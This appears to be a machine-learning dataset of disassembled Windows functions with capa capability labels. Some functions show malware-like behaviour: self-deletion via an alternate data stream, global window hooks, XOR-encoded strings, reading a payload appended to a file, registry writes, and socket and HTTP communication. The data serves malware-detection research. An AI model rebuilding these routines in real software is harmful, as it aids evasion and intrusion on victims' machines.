joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45aa78
Capabilities:
Check if file exists
Delete file
Move file

Disassembly:
push 4
mov eax, 0x4b9b03
call fcn.00485421
mov esi, ecx
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x45aa94
xor eax, eax
jmp 0x45ac80
mov ecx, dword [eax]
cmp ecx, 0xe16
jne 0x45abcb
push 0
push 1
push 0x4ec298
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
jne 0x45ac7d
mov eax, dword [esi + 0x92]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x4c]
test eax, eax
je 0x45ab1f
cmp dword [esi + 0x3a3], 0
jne 0x45ab1f
lea eax, [ebp + 0xc]
lea edi, [esi + 0x353]
push eax
mov ecx, edi
call fcn.0046ca5b
push dword [eax]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov ebx, eax
call fcn.0040dd20
test ebx, ebx
je 0x45ab1f
lea eax, [ebp + 0xc]
push eax
mov ecx, edi
call fcn.0046ca5b
mov eax, dword [eax]
push 4
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.0040dd20
cmp dword [esi + 0x34b], 0x63
mov edi, 0x4ebc68
jg 0x45ab68
push 0x4c3130
lea ecx, [ebp + 0xc]
mov dword [esi + 0x34b], 0x64
call fcn.0040b680
and dword [ebp - 4], 0
lea eax, [ebp + 0xc]
push eax
push dword [esi + 0x34b]
mov ecx, edi
call fcn.0041bf9c
mov ecx, dword [ebp + 0xc]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.0040dd20
call fcn.00446fd7
test eax, eax
jne 0x45ab9e
call fcn.004470cc
test eax, eax
jne 0x45ab9e
inc eax
mov dword [esi + 0x3db], eax
push eax
add esi, 0x3a7
push esi
mov ecx, edi
call fcn.0041bfbf
push 2
mov ecx, edi
call fcn.0041bfd6
jmp 0x45aa8d
push 2
mov ecx, edi
mov dword [esi + 0x3db], 1
call fcn.0041bfd6
push 0
push 0xbb8
push 0x2714
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetTimer]
jmp 0x45aa8d
cmp ecx, 0xe15
jne 0x45ac41
mov edi, dword [eax + 8]
test edi, edi
je 0x45ac37
cmp dword [edi], 0x61
jb 0x45ac08
push 0x4c3130
lea ecx, [ebp + 0xc]
call fcn.0040b680
lea eax, [ebp + 0xc]
push eax
push dword [edi]
mov ecx, 0x4ebc68
mov dword [ebp - 4], 1
call fcn.0041bf9c
mov ecx, dword [ebp + 0xc]
jmp 0x45ac2f
push 0x4c5040
lea ecx, [ebp - 0x10]
call fcn.0040b680
lea eax, [ebp - 0x10]
push eax
push dword [edi]
mov ecx, 0x4ebc68
mov dword [ebp - 4], 2
call fcn.0041bf9c
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.0040dd20
mov eax, dword [edi]
mov dword [esi + 0x34b], eax
jmp 0x45ac7d
cmp ecx, 0xe17
jne 0x45ac59
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov ecx, esi
call fcn.0045895a
jmp 0x45ac7d
cmp ecx, 0xe13
jne 0x45ac7d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov ecx, esi
call fcn.0045895a
push 0x21
call fcn.0041b9b4
mov ecx, eax
call fcn.004753e7
xor eax, eax
inc eax
call fcn.004854f9
ret 8
Function at 0x45e6af
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
test ecx, ecx
je 0x45e6bf
lea esi, [ecx - 0x9a]
jmp 0x45e6c1
xor esi, esi
cmp byte [ecx + 0x1c], 0
je 0x45e6f5
push 0xe801
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetDlgItem]
cmp dword [ebp + 0xc], 2
jne 0x45e6e6
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x45e6fb
cmp dword [ebp + 0xc], 0
jne 0x45e6f5
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp dword [ebp + 0xc], 1
je 0x45e713
mov eax, dword [ebp + 0x10]
shr eax, 0x10
cwde
push eax
movsx eax, word [ebp + 0x10]
push eax
lea ecx, [esi + 0x9a]
call fcn.0045db8d
xor eax, eax
pop esi
pop ebp
ret 0x10

Function at 0x45e945
Capabilities:
Get disk information
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x4e97d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x4c2130]
mov dword [ebp - 0xc], eax
mov eax, dword [0x4c2134]
mov dword [ebp - 8], eax
mov ax, word [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
mov word [ebp - 0xc], ax
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
xor esi, esi
cmp eax, 3
je 0x45e98d
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], esi
jmp 0x45e9ce
push 8
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.00484550
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push esi
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
jne 0x45e9ba
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
jmp 0x45e9c0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
cmp eax, esi
ja 0x45e9e2
jb 0x45e9ce
cmp ecx, 0x400
jae 0x45e9e2
push ecx
push str._d_Bytes
push ebx
call fcn.0041cc03
add esp, 0xc
jmp 0x45eab6
push edi
cmp eax, esi
ja 0x45ea6f
jb 0x45e9f5
cmp ecx, 0x100000
jae 0x45ea2b
push esi
mov edi, ecx
push 0x64
shrd edi, eax, 0xa
and ecx, 0x3ff
push esi
shr eax, 0xa
push ecx
mov dword [ebp - 0x18], eax
call fcn.0048a970
mov ecx, eax
or ecx, edx
jne 0x45ea1f
push edi
push str._d_KB
jmp 0x45ea9a
push eax
push edi
push str._d._d_KB
jmp 0x45eaac
cmp eax, esi
ja 0x45ea6f
jb 0x45ea39
cmp ecx, 0x40000000
jae 0x45ea6f
push esi
mov edi, ecx
push 0x19000
shrd edi, eax, 0x14
and ecx, 0xfffff
push esi
shr eax, 0x14
push ecx
mov dword [ebp - 0x18], eax
call fcn.0048a970
mov ecx, eax
or ecx, edx
jne 0x45ea66
push edi
push 0x4c216c
jmp 0x45ea9a
push eax
push edi
push str._d._d_MB
jmp 0x45eaac
push esi
mov edi, ecx
push 0x6400000
shrd edi, eax, 0x1e
and ecx, 0x3fffffff
push esi
shr eax, 0x1e
push ecx
mov dword [ebp - 0x18], eax
call fcn.0048a970
mov ecx, eax
or ecx, edx
jne 0x45eaa5
push edi
push str._d_GB
push ebx
call fcn.0041cc03
add esp, 0xc
jmp 0x45eab5
push eax
push edi
push str._d._d_GB
push ebx
call fcn.0041cc03
add esp, 0x10
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00484647
leave
ret 8
Function at 0x46bd58
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x4c60a0
push 1
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 4], eax
test eax, eax
je 0x46bdc1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x46bda2
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x4bf070
call dword [sym.imp.USER32.dll_FindWindowW]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
xor eax, eax
inc eax
jmp 0x46bdc3
push edi
lea edi, [esi + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 4]
call fcn.0046bc34
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
xor eax, eax
pop esi
leave
ret 0xc
Function at 0x46c822
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push eax
push esi
push 0x46c80b
push eax
push eax
mov dword [ebp - 4], eax
call fcn.0048ea8c
add esp, 0x18
mov dword [esi + 0x1c], eax
pop esi
leave
ret
Function at 0x46cea2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push eax
push esi
push 0x46ce8b
push eax
push eax
mov dword [ebp - 4], eax
mov dword [esi + 0x4c], eax
call fcn.0048ea8c
mov dword [esi + 0x20], eax
add esp, 0x18
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x40d950
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00401cd0
call fcn.00401c80
call fcn.00401bf0
call fcn.0040d6d0
call fcn.00401c40
call fcn.00401bf0
call fcn.0040d890
call fcn.00401c40
call fcn.00401bf0
call fcn.00401c40
call fcn.00401bf0
call fcn.00401c40
call fcn.00401bf0
push 0x20a
lea eax, [ebp - 0x210]
push eax
call fcn.0040d8d0
add esp, 8
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x40d9e9
push str.failed_to_get_the_current_module_handle
push 0x4222d0
call fcn.0040db70
add esp, 8
xor eax, eax
jmp 0x40db5f
lea edx, [ebp - 0x210]
push edx
call fcn.0040d750
add esp, 4
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x40da20
push str.failed_to_acquire_handle_to_current_running_process
push 0x422350
call fcn.0040db70
add esp, 8
xor eax, eax
jmp 0x40db5f
push str.attempting_to_rename_file_name
push 0x4223a8
call fcn.0040db70
add esp, 8
mov eax, dword [ebp - 0x214]
push eax
call fcn.0040d780
add esp, 4
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x40da69
push str.failed_to_rename_to_stream
push 0x4223f8
call fcn.0040db70
add esp, 8
xor eax, eax
jmp 0x40db5f
push str.successfully_renamed_file_primary_:_DATA_ADS_to_specified_stream__closing_initial_handle
push 0x4224c4
call fcn.0040db70
add esp, 8
mov ecx, dword [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x218]
push edx
call fcn.00410e28
add esp, 4
mov dword [ebp - 0x218], 0
lea eax, [ebp - 0x210]
push eax
call fcn.0040d750
add esp, 4
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x40dad8
push str.failed_to_reopen_current_module
push 0x422520
call fcn.0040db70
add esp, 8
xor eax, eax
jmp 0x40db5f
mov ecx, dword [ebp - 0x214]
push ecx
call fcn.0040d700
add esp, 4
test eax, eax
jne 0x40db01
push str.failed_to_set_delete_deposition
push 0x422578
call fcn.0040db70
add esp, 8
xor eax, eax
jmp 0x40db5f
push str.closing_handle_to_trigger_deletion_deposition
push 0x4225ec
call fcn.0040db70
add esp, 8
mov edx, dword [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40db48
push str.failed_to_delete_copy__file_still_exists
push 0x42265c
call fcn.0040db70
add esp, 8
xor eax, eax
jmp 0x40db5f
push str.successfully_deleted_self_from_disk
push str._LOG_____s_n
call fcn.0040db70
add esp, 8
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040dbb6
mov esp, ebp
pop ebp
ret

Function at 0x40e3b6
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40e3f5
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40e3f5
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40e3f5
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40e3f5
cmp dword [ecx + 0x74], 0xe
jbe 0x40e3f5
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4160ed
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x423b90
push 0x423b88
push str.FlsAlloc
push 0x1f
call fcn.00415fac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x416121
push dword [ebp + 8]
mov ecx, esi
call dword [0x422134]
call esi
jmp 0x416127
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41616b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x423ba0
push 0x423b98
push str.FlsGetValue
push 0x21
call fcn.00415fac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4161a2
push dword [ebp + 8]
mov ecx, esi
call dword [0x422134]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4161aa
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x423ba8
push 0x423ba0
push str.FlsSetValue
push 0x22
call fcn.00415fac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4161e4
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x422134]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x418d4a
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x418de7
push ebx
push esi
call fcn.00418d13
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00418ca7
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x418d94
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x418de6
push edi
push eax
call fcn.004146ec
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x418db4
call fcn.004146b2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x418de5
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00418ca7
add esp, 0x20
test eax, eax
jne 0x418dd3
push edi
call fcn.004146b2
jmp 0x418ddb
push ebx
call fcn.004146b2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x4216a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4216cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4216cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x402718
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40900c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4027b0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402790
xor eax, eax
push ebp
push 0x402789
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4027cc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402790
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40900c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40900c], ax
mov esp, ebp
pop ebp
ret

Function at 0x402e80
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40a034], 0
je 0x402ee1
cmp word [0x40a208], 0xd7b2
jne 0x402ea9
cmp dword [0x40a210], 0
jbe 0x402ea9
mov eax, 0x40a204
call dword [0x40a220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x409054
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x402f08
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x409018], 0
jne 0x402efd
push 0
push 0x40904c
push 0x409054
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4035ec
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x403652
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040315c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.0040260c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x40363c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403659
lea eax, [ebp - 0x10]
call fcn.00402ffc
ret

Function at 0x403de8
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov dword [esp], edx
mov ebx, eax
push 0
push 0
push 0
push 0
push 0x403e78
call sub.wininet.dll_InternetOpenA
mov edi, eax
push 0
push 0
push 0
push 0
mov eax, ebx
call fcn.00403374
push eax
push edi
call sub.wininet.dll_InternetOpenUrlA
mov ebx, eax
mov dword [esp + 4], 0x400
lea eax, [esp + 8]
push eax
lea eax, [esp + 8]
push eax
push esi
push 5
push ebx
call sub.wininet.dll_HttpQueryInfoA
mov eax, ebp
call fcn.00402438
mov esi, eax
lea eax, [esp + 0xc]
push eax
push ebp
push esi
push ebx
call sub.wininet.dll_InternetReadFile
push ebx
call sub.wininet.dll_InternetCloseHandle
push edi
call sub.wininet.dll_InternetCloseHandle
mov edx, dword [esp]
mov eax, esi
call fcn.00403dd4
mov eax, esi
call fcn.00402458
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x403e7c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403364
xor eax, eax
push ebp
push 0x403f0c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00402ffc
mov eax, dword [ebp - 4]
call fcn.00403174
mov ebx, eax
test bx, bx
jbe 0x403eee
mov di, 1
movzx eax, di
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax - 1]
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
mov dx, word [ebp - 6]
xor dx, 0x54
call fcn.0040311c
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.0040317c
inc edi
dec bx
jne 0x403ebf
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403f13
lea eax, [ebp - 0xc]
call fcn.00402ffc
lea eax, [ebp - 4]
call fcn.00402ffc
ret

Function at 0x403fdc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
mov dword [esp + 4], 0xff
mov dword [esp + 8], 7
push esp
push 0x40404c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
push esp
push 0x404058
mov eax, dword [esp + 8]
push eax
call sub.advapi32.dll_RegOpenKeyA
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 0x404064
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea ebx, [esp + 0xc]
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x404070
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
push esp
push 0x104
call sub.kernel32.dll_GetTempPathA
test eax, eax
je 0x4040a6
cmp byte [esp + eax - 1], 0x5c
je 0x404098
mov byte [esp + eax], 0x5c
mov byte [esp + eax + 1], 0
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.0040315c
add esp, 0x108
pop ebx
ret

Function at 0x4040b0
Capabilities:
Set registry value

Disassembly:
push ebx
push ecx
mov ebx, eax
push esp
push 0x404100
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
push esp
push 0x40410c
mov eax, dword [esp + 8]
push eax
call sub.advapi32.dll_RegOpenKeyA
push 0xff
push ebx
push 1
push 0
push 0x404118
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegSetValueExA
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop edx
pop ebx
ret
Function at 0x4043e8
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
mov dword [esp], 7
push 0
lea eax, [esp + 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
cmp eax, 1
sbb eax, eax
inc eax
pop edx
ret

Function at 0x4044b8
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4045a0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00402ffc
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404585
push 2
push 0
push 0xfffffffffffffffc
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
push eax
push ebx
call sub.kernel32.dll_ReadFile
xor dword [ebp - 8], 0x4d617a69
push 0
push ebx
call sub.kernel32.dll_GetFileSize
cmp eax, dword [ebp - 8]
jb 0x404585
push 2
push 0
mov eax, dword [ebp - 8]
neg eax
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.004034a4
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0xc]
call fcn.004033cc
push eax
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004045b0
mov eax, esi
mov edx, dword [ebp - 0xc]
call fcn.00403050
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4045a7
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00403020
ret

Function at 0x4045b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403364
xor eax, eax
push ebp
push 0x404640
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00402ffc
mov eax, dword [ebp - 4]
call fcn.00403174
mov ebx, eax
test bx, bx
jbe 0x404622
mov di, 1
movzx eax, di
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax - 1]
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
mov dx, word [ebp - 6]
xor dx, 0xc
call fcn.0040311c
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.0040317c
inc edi
dec bx
jne 0x4045f3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404647
lea eax, [ebp - 0xc]
call fcn.00402ffc
lea eax, [ebp - 4]
call fcn.00402ffc
ret

Function at 0x4047b0
Capabilities:
Get graphical window text

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, edx
mov edx, esp
push edx
push 0x104
push 0xd
push eax
call sub.user32.dll_SendMessageA
mov byte [esp + eax], 0
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.0040315c
add esp, 0x108
pop ebx
ret

Function at 0x404f98
Capabilities:
Set global application hook

Disassembly:
push 0
mov eax, dword [0x40a650]
push eax
mov eax, 0x404f78
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4090e0], eax
ret
Function at 0x40518c
Capabilities:
Set global application hook

Disassembly:
push 0
mov eax, dword [0x40a650]
push eax
mov eax, 0x40516c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x40a70c], eax
cmp dword [0x40a70c], 0
setne al
neg al
sbb eax, eax
ret
Function at 0x405558
Capabilities:
Resolve dns

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, eax
mov eax, ebx
call fcn.00403374
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 4
call fcn.004025ec
test ebx, ebx
je 0x4055a3
mov eax, ebx
mov edx, dword [eax + 0xc]
mov edx, dword [edx]
mov cl, byte [edx]
mov byte [esp + 4], cl
mov cl, byte [edx + 1]
mov byte [esp + 5], cl
mov cl, byte [edx + 2]
mov byte [esp + 6], cl
mov al, byte [edx + 3]
mov byte [esp + 7], al
mov eax, dword [esp + 4]
mov dword [esp], eax
mov eax, dword [esp]
pop ecx
pop edx
pop ebx
ret

Function at 0x4055b4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe58
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403364
xor eax, eax
push ebp
push 0x405658
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
lea eax, [ebp - 0x198]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405642
mov eax, dword [ebp - 4]
call fcn.00405558
mov dword [ebp - 0x1a4], eax
mov word [ebp - 0x1a8], 2
push edi
call sub.wsock32.dll_htons
mov word [ebp - 0x1a6], ax
push 0x10
lea eax, [ebp - 0x1a8]
push eax
push ebx
call sub.wsock32.dll_connect
test eax, eax
jne 0x405642
mov eax, dword [ebp - 8]
mov dword [eax], ebx
or esi, 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40565f
lea eax, [ebp - 4]
call fcn.00402ffc
ret

Function at 0x405674
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff8
push ebx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403364
xor eax, eax
push ebp
push 0x4056e5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00403374
mov edx, eax
lea eax, [ebp - 0x1005]
call fcn.004052dc
push 4
lea eax, [ebp - 0x1005]
call fcn.00405304
push eax
lea eax, [ebp - 0x1005]
push eax
push ebx
call sub.wsock32.dll_send
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4056ec
lea eax, [ebp - 4]
call fcn.00402ffc
ret

Function at 0x4056f4
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
add esp, 0xfffffbfc
mov ebx, edx
push 0
push 0x400
lea edx, [esp + 8]
push edx
push eax
call sub.wsock32.dll_recv
mov edx, ebx
mov eax, esp
call fcn.004052c8
add esp, 0x404
pop ebx
ret